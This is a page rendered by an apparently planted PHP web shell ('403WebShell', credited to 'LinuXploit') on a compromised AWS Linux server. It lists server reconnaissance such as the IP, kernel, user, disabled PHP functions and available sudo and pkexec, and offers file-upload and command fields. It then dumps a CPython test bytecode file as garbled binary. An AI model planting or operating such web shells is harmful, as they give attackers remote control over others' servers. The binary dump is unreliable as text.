Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_enumerate.cpython-310.pyc
o

�9j�!�@sFddlZddlZddlZddlZddlZddlmZGdd�d�ZGdd�d�ZGdd�d�Z	Gd	d
�d
�Z
Gdd�d�ZGd
d�d�ZGdd�d�Z
Gdd�deje
�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�deje
�ZGdd�de�ZGdd �d e�ZGd!d"�d"e�Zed#kr�e��dSdS)$�N)�supportc@� eZdZdZdd�Zdd�ZdS)�GzSequence using __getitem__cCs
||_dS�N��seqn��selfr�r
�*/usr/lib/python3.10/test/test_enumerate.py�__init__�
z
G.__init__cCs
|j|Srr�r	�ir
r
r�__getitem__
r
z
G.__getitem__N)�__name__�
__module__�__qualname__�__doc__rrr
r
r
rr	src@�(eZdZdZdd�Zdd�Zdd�ZdS)	�Iz Sequence using iterator protocolcC�||_d|_dS�Nr�rrrr
r
rr�
z
I.__init__cC�|Srr
�r	r
r
r�__iter__�z
I.__iter__cC�2|jt|j�kr
t�|j|j}|jd7_|S�N��r�lenr�
StopIteration�r	�vr
r
r�__next__�z
I.__next__N�rrrrrrr'r
r
r
rr�
rc@r)�Igz9Sequence using iterator protocol defined with a generatorcCrrrrr
r
rrrzIg.__init__ccs�|jD]}|VqdSrr)r	�valr
r
rr"s�
�zIg.__iter__N�rrrrrrr
r
r
rr+�r+c@r)�Xz Missing __getitem__ and __iter__cCrrrrr
r
rr(rz
X.__init__cCrr r"r%r
r
rr'+r(z
X.__next__N)rrrrrr'r
r
r
rr/&r.r/c@r)	�EzTest propagation of exceptionscCrrrrr
r
rr3rz
E.__init__cCrrr
rr
r
rr6rz
E.__iter__cCsdddS)N�rr
rr
r
rr'8sz
E.__next__Nr)r
r
r
rr01r*r0c@r)�NzIterator missing __next__()cCrrrrr
r
rr=rz
N.__init__cCrrr
rr
r
rr@rz
N.__iter__Nr-r
r
r
rr2;r.r2c@�eZdZdd�ZdS)�
PickleTestc	Cs�ttjd�D]T}t�||�}t�|�}|�t|�t|��|�t|�|�t�|�}zt|�Wnt	yC|�
|dd��Yqwt�||�}t�|�}|�t|�|dd��qdSr )�range�pickle�HIGHEST_PROTOCOL�dumps�loads�assertEqual�type�list�nextr$�assertFalse)r	�itorg�seq�proto�d�itr
r
r�check_pickleEs 

�
�zPickleTest.check_pickleN)rrrrDr
r
r
rr4C�r4c@s�eZdZeZdgd�ZZdd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�Zdd�Z
dd�Zdd�Zejdd��Zejdd��ZdS)�EnumerateTestCase�abc))r�a)r!�b)��ccCs\|�t|�|j��|j�|�|j�}|�t|�|�|�t|�|j��|j�|jjdSr)r:r;�enumr@�iterr<�resr�r	�er
r
r�test_basicfunction[s
z$EnumerateTestCase.test_basicfunctioncCs|�|�|j�|j�dSr)rDrLr@rNrr
r
r�test_pickleb�zEnumerateTestCase.test_picklecC�>|�t|�t|j���|j�|�td��}|�tt|�dS�N�)	r:r<rLrr@rN�assertRaisesr$r=rOr
r
r�test_getitemseqne�z"EnumerateTestCase.test_getitemseqncCrTrU)	r:r<rLrr@rNrWr$r=rOr
r
r�test_iteratorseqnjrYz#EnumerateTestCase.test_iteratorseqncCrTrU)	r:r<rLr+r@rNrWr$r=rOr
r
r�test_iteratorgeneratororYz(EnumerateTestCase.test_iteratorgeneratorcC�|�t|jt|j��dSr)rW�	TypeErrorrLr/r@rr
r
r�test_noniterabletrSz"EnumerateTestCase.test_noniterablecCr\r)rWr]rLr2r@rr
r
r�test_illformediterablewrSz(EnumerateTestCase.test_illformediterablecCs|�tt|�t|j���dSr)rW�ZeroDivisionErrorr<rLr0r@rr
r
r�test_exception_propagationzsz,EnumerateTestCase.test_exception_propagationcCsH|�t|j�|�t|jd�|�t|jdd�|�t|jddd�dS)Nr!rGrHrJr1)rWr]rLrr
r
r�test_argumentcheck}sz$EnumerateTestCase.test_argumentcheckc	CsZ|�tttttt|j�����t|j��|�ttttt|j����tdt|j���dSr )	r:r#�set�map�idr<�	enumerater@�minrr
r
r�test_tuple_reuse�s*0z"EnumerateTestCase.test_tuple_reusecCs,|�gg�}t��|�t�t|���dSr)rL�gc�collect�
assertTrue�
is_trackedr=)r	rCr
r
r�test_enumerate_result_gc�sz*EnumerateTestCase.test_enumerate_result_gcN)rrrrfrLr@rNrQrRrXrZr[r^r_rarbr�cpython_onlyrhrmr
r
r
rrFVs 
rFc@seZdZdS)�MyEnumN)rrrr
r
r
rro�sroc@seZdZeZdS)�SubclassTestCaseN)rrrrorLr
r
r
rrp�srpc@seZdZdgZZdS)�	TestEmptyrVN)rrrr@rNr
r
r
rrq�srqc@s*eZdZeddd�Zeeed�e��ZdS)�TestBig�
i NrJN)rrrr5r@r<�ziprNr
r
r
rrr�srrc@s^eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Ze�	e
ed�d�d
d��Zdd�Z
dd�ZdS)�TestReversedcCsxGdd�d�}dtd�ttd��|�tddd�t�d�fD]}|�t|�ddd�tt|���q|jt	tgdd	�dS)
Nc@�eZdZdd�Zdd�ZdS)z#TestReversed.test_simple.<locals>.AcSs|dkrt|�St��N�)�strr$rr
r
rr�sz/TestReversed.test_simple.<locals>.A.__getitem__cS�dSrwr
rr
r
r�__len__�rz+TestReversed.test_simple.<locals>.A.__len__N)rrrrr{r
r
r
r�A�sr|rGrxr!��abcde���)rH)
r5�tuplerf�dict�fromkeysr:r<�reversedrWr])r	r|�datar
r
r�test_simple�s�$zTestReversed.test_simplecCs(td�}|�tt|��tt|���dSr )r5r:r;r�rM)r	�xr
r
r�test_range_optimization�s z$TestReversed.test_range_optimizationcCs�dtd�td�td�fD] }|�t�t|��t|��t|�}t|�|�t�|�d�qGdd�d�}t|��}|�t	tj|�dS)N�hellorxrc@r)z.TestReversed.test_len.<locals>.SeqWithWeirdLenFcSs|jsd|_dSt�)NTrs)�calledr`rr
r
rr{�sz6TestReversed.test_len.<locals>.SeqWithWeirdLen.__len__cS�|Srr
�r	�indexr
r
rr�rz:TestReversed.test_len.<locals>.SeqWithWeirdLen.__getitem__N)rrrr�r{rr
r
r
r�SeqWithWeirdLen�sr�)
r�r<r5r:�operator�length_hintr�r#rWr`)r	�s�rr�r
r
r�test_len�s
	zTestReversed.test_lencCs&Gdd�d�}|�}t|�}||_dS)Nc@rv)z!TestReversed.test_gc.<locals>.SeqcSrz)Nrsr
rr
r
rr{�rz)TestReversed.test_gc.<locals>.Seq.__len__cSr�rr
r�r
r
rr�rz-TestReversed.test_gc.<locals>.Seq.__getitem__N)rrrr{rr
r
r
r�Seq�sr�)r�r�)r	r�r�r�r
r
r�test_gc�s
zTestReversed.test_gccCs |�tt�|�ttgd�dS)N�extra)rWr]r�rr
r
r�	test_args�szTestReversed.test_args�getrefcountztest needs sys.getrefcount()c	Csldd�}t�}|_t�|�}td�D]}zt|�Wn	ty$Yqw|�d�q|�|t�|��dS)NcSsdSrr
r
r
r
r�f�rz'TestReversed.test_bug1229429.<locals>.frsz'non-callable __reversed__ didn't raise!)	�object�__reversed__�sysr�r5r�r]�failr:)r	r�r��rcrr
r
r�test_bug1229429�s
�zTestReversed.test_bug1229429cCspGdd�dt�}|�}|�tt|�Gdd�dt�}|�}|�tt|�Gdd�dt�}|�}|�tt|�dS)Nc@r3)z+TestReversed.test_objmethods.<locals>.NoLencSrzr r
rr
r
rr��z7TestReversed.test_objmethods.<locals>.NoLen.__getitem__N)rrrrr
r
r
r�NoLen��r�c@r3)z/TestReversed.test_objmethods.<locals>.NoGetItemcSrz�NrJr
rr
r
rr{�r�z7TestReversed.test_objmethods.<locals>.NoGetItem.__len__N)rrrr{r
r
r
r�	NoGetItem�r�r�c@s eZdZdd�Zdd�ZdZdS)z-TestReversed.test_objmethods.<locals>.BlockedcSrzr r
rr
r
rr�r�z9TestReversed.test_objmethods.<locals>.Blocked.__getitem__cSrzr�r
rr
r
rr{�r�z5TestReversed.test_objmethods.<locals>.Blocked.__len__N)rrrrr{r�r
r
r
r�Blocked�sr�)r�rWr]r�)r	r��nlr��ngir�rIr
r
r�test_objmethods�szTestReversed.test_objmethodscCsHdtd�ttd��tddd�fD]}|�t|�t|�ddd��qdS)NrGrxr!r}r)r5r�rfrDr�r<)r	r�r
r
rrR�s$ �zTestReversed.test_pickleN)rrrr�r�r�r�r��unittest�
skipUnless�hasattrr�r�r�rRr
r
r
rru�s

ruc@r3)�EnumerateStartTestCasecCs:|�|j�}|�t|�|�|�t|�|j��|j�dSr)rLr@r:rMr<rNrOr
r
rrQsz)EnumerateStartTestCase.test_basicfunctionN)rrrrQr
r
r
rr�rEr�c@s"eZdZdd�Zdgd�ZZdS)�	TestStartcCst|dd�S)N���start)rfrr
r
r�<lambda>szTestStart.<lambda>rG))r�rH)�rI)�
rKN)rrrrLr@rNr
r
r
rr�sr�c@sBeZdZdd�Zdejddfejddfejdd	fgZZd
S)�
TestLongStartcCst|tjdd�S)Nr!r�)rfr��maxsizerr
r
rr�szTestLongStart.<lambda>rGr!rHrJrIr1rKN)rrrrLr�r�r@rNr
r
r
rr�s
�r��__main__)r�r�r�r6ri�testrrrr+r/r0r2r4�TestCaserFrfrorprqrrrur�r�r�r�mainr
r
r
r�<module>s2
	
@^�

Youez - 2016 - github.com/yon3zu
LinuXploit